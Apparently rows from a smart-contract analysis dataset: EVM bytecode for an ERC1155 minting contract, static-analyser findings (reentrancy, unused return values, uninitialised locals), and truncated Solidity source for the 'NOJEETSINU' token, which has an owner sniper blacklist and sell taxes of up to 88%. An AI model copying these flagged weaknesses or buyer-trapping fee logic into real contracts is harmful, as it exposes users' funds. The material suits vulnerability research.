0x60806040526004361061010c5760003560e01c806395d89b4111610095578063a6f9dae111610064578063a6f9dae1146104f2578063dbfd71c11461051b578063e985e9c514610546578063f242432a14610583578063f6870bd8146105ac5761010d565b806395d89b41146104485780639dfde20114610473578063a0bb7acc1461049e578063a22cb465146104c95761010d565b80630e89341c116100dc5780630e89341c1461034f5780632eb2c2d61461038c57806340921ed1146103b55780634e1273f4146103e05780638da5cb5b1461041d5761010d565b8062fdd58e1461027f57806301ffc9a7146102bc57806305180237146102f957806306fdde03146103245761010d565b5b60006009543461011d919061271b565b905080600a541161012d57600080fd5b60005b81811015610212576101d233600b54600854600c805461014f90612848565b80601f016020809104026020016040519081016040528092919081815260200182805461017b90612848565b80156101c85780601f1061019d576101008083540402835291602001916101c8565b820191906000526020600020905b8154815290600101906020018083116101ab57829003601f168201915b50505050506105e9565b6001600a546101e1919061274c565b600a81905550600b60008154809291906101fa906128ab565b9190505550808061020a906128ab565b915050610130565b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561027b573d6000803e3d6000fd5b5050005b34801561028b57600080fd5b506102a660048036038101906102a19190611eb6565b6107ad565b6040516102b39190612539565b60405180910390f35b3480156102c857600080fd5b506102e360048036038101906102de9190611f6e565b610877565b6040516102f091906123bc565b60405180910390f35b34801561030557600080fd5b5061030e610959565b60405161031b9190612539565b60405180910390f35b34801561033057600080fd5b5061033961095f565b60405161034691906123d7565b60405180910390f35b34801561035b57600080fd5b5061037660048036038101906103719190611fc8565b6109ed565b60405161038391906123d7565b60405180910390f35b34801561039857600080fd5b506103b360048036038101906103ae9190611d10565b610a81565b005b3480156103c157600080fd5b506103ca610b22565b6040516103d79190612286565b60405180910390f35b3480156103ec57600080fd5b5061040760048036038101906104029190611ef6565b610b48565b6040516104149190612363565b60405180910390f35b34801561042957600080fd5b50610432610c61565b60405161043f9190612286565b60405180910390f35b34801561045457600080fd5b5061045d610c87565b60405161046a91906123d7565b60405180910390f35b34801561047f57600080fd5b50610488610d15565b6040516104959190612539565b60405180910390f35b3480156104aa57600080fd5b506104b3610d1b565b6040516104c09190612539565b60405180910390f35b3480156104d557600080fd5b506104f060048036038101906104eb9190611e76565b610d21565b005b3480156104fe57600080fd5b5061051960048036038101906105149190611ca3565b610e2c565b005b34801561052757600080fd5b50610530610eca565b60405161053d9190612539565b60405180910390f35b34801561055257600080fd5b5061056d60048036038101906105689190611cd0565b610ed0565b60405161057a91906123bc565b60405180910390f35b34801561058f57600080fd5b506105aa60048036038101906105a59190611ddf565b610f64565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190611ca3565b611005565b6040516105e09190612539565b60405180910390f35b6000819050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065590612519565b60405180910390fd5b600061066861101d565b90506106898160008861067a89611025565b61068389611025565b8761109f565b600180600087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62886001604051610756929190612554565b60405180910390a4847f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b8460405161078e91906123d7565b60405180910390a26107a5816000888888876110a7565b505050505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081590612439565b60405180910390fd5b6001600083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061094257507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061095257506109518261128e565b5b9050919050565b600b5481565b6005805461096c90612848565b80601f016020809104026020016040519081016040528092919081815260200182805461099890612848565b80156109e55780601f106109ba576101008083540402835291602001916109e5565b820191906000526020600020905b8154815290600101906020018083116109c857829003601f168201915b505050505081565b6060600380546109fc90612848565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2890612848565b8015610a755780601f10610a4a57610100808354040283529160200191610a75565b820191906000526020600020905b815481529060010190602001808311610a5857829003601f168201915b50505050509050919050565b610a8961101d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610acf5750610ace85610ac961101d565b610ed0565b5b610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0590612499565b60405180910390fd5b610b1b85858585856112f8565b5050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60608151835114610b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b85906124d9565b60405180910390fd5b6000835167ffffffffffffffff811115610bab57610baa6129b0565b5b604051908082528060200260200182016040528015610bd95781602001602082028036833780820191505090505b50905060005b8451811015610c5657610c26858281518110610bfe57610bfd612981565b5b6020026020010151858381518110610c1957610c18612981565b5b60200260200101516107ad565b828281518110610c3957610c38612981565b5b60200260200101818152505080610c4f906128ab565b9050610bdf565b508091505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054610c9490612848565b80601f0160208091040260200160405190810160405280929190818152602001828054610cc090612848565b8015610d0d5780601f10610ce257610100808354040283529160200191610d0d565b820191906000526020600020905b815481529060010190602001808311610cf057829003601f168201915b505050505081565b60095481565b600a5481565b8060026000610d2e61101d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16610ddb61101d565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610e2091906123bc565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8657600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b610f6c61101d565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610fb25750610fb185610fac61101d565b610ed0565b5b610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890612459565b60405180910390fd5b610ffe858585858561160f565b5050505050565b60006020528060005260406000206000915090505481565b600033905090565b60606000600167ffffffffffffffff811115611044576110436129b0565b5b6040519080825280602002602001820160405280156110725781602001602082028036833780820191505090505b509050828160008151811061108a57611089612981565b5b60200260200101818152505080915050919050565b505050505050565b6110c68473ffffffffffffffffffffffffffffffffffffffff16611894565b15611286578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b815260040161110c959493929190612309565b602060405180830381600087803b15801561112657600080fd5b505af192505050801561115757506040513d601f19601f820116820180604052508101906111549190611f9b565b60015b6111fd576111636129df565b806308c379a014156111c05750611178612d4e565b8061118357506111c2565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b791906123d7565b60405180910390fd5b505b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f4906123f9565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b90612419565b60405180910390fd5b505b505050505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b815183511461133c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611333906124f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156113ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a390612479565b60405180910390fd5b60006113b661101d565b90506113c681878787878761109f565b60005b845181101561157a5760008582815181106113e7576113e6612981565b5b60200260200101519050600085838151811061140657611405612981565b5b6020026020010151905060006001600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149f906124b9565b60405180910390fd5b8181036001600085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816001600085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461155f91906126c5565b9250508190555050505080611573906128ab565b90506113c9565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516115f1929190612385565b60405180910390a46116078187878787876118a7565b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561167f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167690612479565b60405180910390fd5b600061168961101d565b90506116a981878761169a88611025565b6116a388611025565b8761109f565b60006001600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015611741576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611738906124b9565b60405180910390fd5b8381036001600087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836001600087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117f891906126c5565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62888860405161187592919061257d565b60405180910390a461188b8288888888886110a7565b50505050505050565b600080823b905060008111915050919050565b6118c68473ffffffffffffffffffffffffffffffffffffffff16611894565b15611a86578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b815260040161190c9594939291906122a1565b602060405180830381600087803b15801561192657600080fd5b505af192505050801561195757506040513d601f19601f820116820180604052508101906119549190611f9b565b60015b6119fd576119636129df565b806308c379a014156119c05750611978612d4e565b8061198357506119c2565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b791906123d7565b60405180910390fd5b505b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f4906123f9565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b90612419565b60405180910390fd5b505b505050505050565b6000611aa1611a9c846125cb565b6125a6565b90508083825260208201905082856020860282011115611ac457611ac3612a06565b5b60005b85811015611af45781611ada8882611bb0565b845260208401935060208301925050600181019050611ac7565b5050509392505050565b6000611b11611b0c846125f7565b6125a6565b90508083825260208201905082856020860282011115611b3457611b33612a06565b5b60005b85811015611b645781611b4a8882611c8e565b845260208401935060208301925050600181019050611b37565b5050509392505050565b6000611b81611b7c84612623565b6125a6565b905082815260208101848484011115611b9d57611b9c612a0b565b5b611ba8848285612806565b509392505050565b600081359050611bbf81612de4565b92915050565b600082601f830112611bda57611bd9612a01565b5b8135611bea848260208601611a8e565b91505092915050565b600082601f830112611c0857611c07612a01565b5b8135611c18848260208601611afe565b91505092915050565b600081359050611c3081612dfb565b92915050565b600081359050611c4581612e12565b92915050565b600081519050611c5a81612e12565b92915050565b600082601f830112611c7557611c74612a01565b5b8135611c85848260208601611b6e565b91505092915050565b600081359050611c9d81612e29565b92915050565b600060208284031215611cb957611cb8612a15565b5b6000611cc784828501611bb0565b91505092915050565b60008060408385031215611ce757611ce6612a15565b5b6000611cf585828601611bb0565b9250506020611d0685828601611bb0565b9150509250929050565b600080600080600060a08688031215611d2c57611d2b612a15565b5b6000611d3a88828901611bb0565b9550506020611d4b88828901611bb0565b945050604086013567ffffffffffffffff811115611d6c57611d6b612a10565b5b611d7888828901611bf3565b935050606086013567ffffffffffffffff811115611d9957611d98612a10565b5b611da588828901611bf3565b925050608086013567ffffffffffffffff811115611dc657611dc5612a10565b5b611dd288828901611c60565b9150509295509295909350565b600080600080600060a08688031215611dfb57611dfa612a15565b5b6000611e0988828901611bb0565b9550506020611e1a88828901611bb0565b9450506040611e2b88828901611c8e565b9350506060611e3c88828901611c8e565b925050608086013567ffffffffffffffff811115611e5d57611e5c612a10565b5b611e6988828901611c60565b9150509295509295909350565b60008060408385031215611e8d57611e8c612a15565b5b6000611e9b85828601611bb0565b9250506020611eac85828601611c21565b9150509250929050565b60008060408385031215611ecd57611ecc612a15565b5b6000611edb85828601611bb0565b9250506020611eec85828601611c8e565b9150509250929050565b60008060408385031215611f0d57611f0c612a15565b5b600083013567ffffffffffffffff811115611f2b57611f2a612a10565b5b611f3785828601611bc5565b925050602083013567ffffffffffffffff811115611f5857611f57612a10565b5b611f6485828601611bf3565b9150509250929050565b600060208284031215611f8457611f83612a15565b5b6000611f9284828501611c36565b91505092915050565b600060208284031215611fb157611fb0612a15565b5b6000611fbf84828501611c4b565b91505092915050565b600060208284031215611fde57611fdd612a15565b5b6000611fec84828501611c8e565b91505092915050565b60006120018383612268565b60208301905092915050565b61201681612780565b82525050565b600061202782612664565b6120318185612692565b935061203c83612654565b8060005b8381101561206d5781516120548882611ff5565b975061205f83612685565b925050600181019050612040565b5085935050505092915050565b61208381612792565b82525050565b60006120948261266f565b61209e81856126a3565b93506120ae818560208601612815565b6120b781612a1a565b840191505092915050565b6120cb816127f4565b82525050565b60006120dc8261267a565b6120e681856126b4565b93506120f6818560208601612815565b6120ff81612a1a565b840191505092915050565b60006121176034836126b4565b915061212282612a38565b604082019050919050565b600061213a6028836126b4565b915061214582612a87565b604082019050919050565b600061215d602b836126b4565b915061216882612ad6565b604082019050919050565b60006121806029836126b4565b915061218b82612b25565b604082019050919050565b60006121a36025836126b4565b91506121ae82612b74565b604082019050919050565b60006121c66032836126b4565b91506121d182612bc3565b604082019050919050565b60006121e9602a836126b4565b91506121f482612c12565b604082019050919050565b600061220c6029836126b4565b915061221782612c61565b604082019050919050565b600061222f6028836126b4565b915061223a82612cb0565b604082019050919050565b60006122526021836126b4565b915061225d82612cff565b604082019050919050565b612271816127ea565b82525050565b612280816127ea565b82525050565b600060208201905061229b600083018461200d565b92915050565b600060a0820190506122b6600083018861200d565b6122c3602083018761200d565b81810360408301526122d5818661201c565b905081810360608301526122e9818561201c565b905081810360808301526122fd8184612089565b90509695505050505050565b600060a08201905061231e600083018861200d565b61232b602083018761200d565b6123386040830186612277565b6123456060830185612277565b81810360808301526123578184612089565b90509695505050505050565b6000602082019050818103600083015261237d818461201c565b905092915050565b6000604082019050818103600083015261239f818561201c565b905081810360208301526123b3818461201c565b90509392505050565b60006020820190506123d1600083018461207a565b92915050565b600060208201905081810360008301526123f181846120d1565b905092915050565b600060208201905081810360008301526124128161210a565b9050919050565b600060208201905081810360008301526124328161212d565b9050919050565b6000602082019050818103600083015261245281612150565b9050919050565b6000602082019050818103600083015261247281612173565b9050919050565b6000602082019050818103600083015261249281612196565b9050919050565b600060208201905081810360008301526124b2816121b9565b9050919050565b600060208201905081810360008301526124d2816121dc565b9050919050565b600060208201905081810360008301526124f2816121ff565b9050919050565b6000602082019050818103600083015261251281612222565b9050919050565b6000602082019050818103600083015261253281612245565b9050919050565b600060208201905061254e6000830184612277565b92915050565b60006040820190506125696000830185612277565b61257660208301846120c2565b9392505050565b60006040820190506125926000830185612277565b61259f6020830184612277565b9392505050565b60006125b06125c1565b90506125bc828261287a565b919050565b6000604051905090565b600067ffffffffffffffff8211156125e6576125e56129b0565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612612576126116129b0565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561263e5761263d6129b0565b5b61264782612a1a565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126d0826127ea565b91506126db836127ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127105761270f6128f4565b5b828201905092915050565b6000612726826127ea565b9150612731836127ea565b92508261274157612740612923565b5b828204905092915050565b6000612757826127ea565b9150612762836127ea565b925082821015612775576127746128f4565b5b828203905092915050565b600061278b826127ca565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006127ff826127ea565b9050919050565b82818337600083830152505050565b60005b83811015612833578082015181840152602081019050612818565b83811115612842576000848401525b50505050565b6000600282049050600182168061286057607f821691505b6020821081141561287457612873612952565b5b50919050565b61288382612a1a565b810181811067ffffffffffffffff821117156128a2576128a16129b0565b5b80604052505050565b60006128b6826127ea565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156128e9576128e86128f4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060033d11156129fe5760046000803e6129fb600051612a2b565b90505b90565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160e01c9050919050565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600060443d1015612d5e57612de1565b612d666125c1565b60043d036004823e80513d602482011167ffffffffffffffff82111715612d8e575050612de1565b808201805167ffffffffffffffff811115612dac5750505050612de1565b80602083010160043d038501811115612dc9575050505050612de1565b612dd88260200185018661287a565b82955050505050505b90565b612ded81612780565b8114612df857600080fd5b50565b612e0481612792565b8114612e0f57600080fd5b50565b612e1b8161279e565b8114612e2657600080fd5b50565b612e32816127ea565b8114612e3d57600080fd5b5056fea26469706673582212204e046966ad75cdf0fb5c6e1a2c049c82c5759cbdf065b20601419b549c068f9064736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,861
0x1acfca72a7f0654f9f78492ef06bb05ef73ffe37
/** *Submitted for verification at Etherscan.io on 2022-04-04 */ // SPDX-License-Identifier: Unlicensed //https://t.me/nojeetsinu pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract NOJEETSINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "NOJEETSINU"; string private constant _symbol = "NOJEETSINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 public endTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 11; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress ; address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; bool private noJeetMode = false; uint256 public _startingPrice; uint256 public _maxTxAmount = 1e8 * 10**9; uint256 public _maxWalletSize = 2e8 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; uint256 public _minimumBuyAmount = 1e8 * 10**9 ; uint256 public _burnTokenCount = 0; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 20 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; if(noJeetMode){ if(getPrice()>_startingPrice.mul(100)|| block.timestamp > launchTime + 30 days ){ noJeetMode = false; } else{ uint256 burnRate = 100; burnRate = burnRate.sub(getPrice().div(_startingPrice)); require(burnRate < 89); _taxFee += burnRate; _burnTokenCount += amount.mul(burnRate).div(100); } } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = 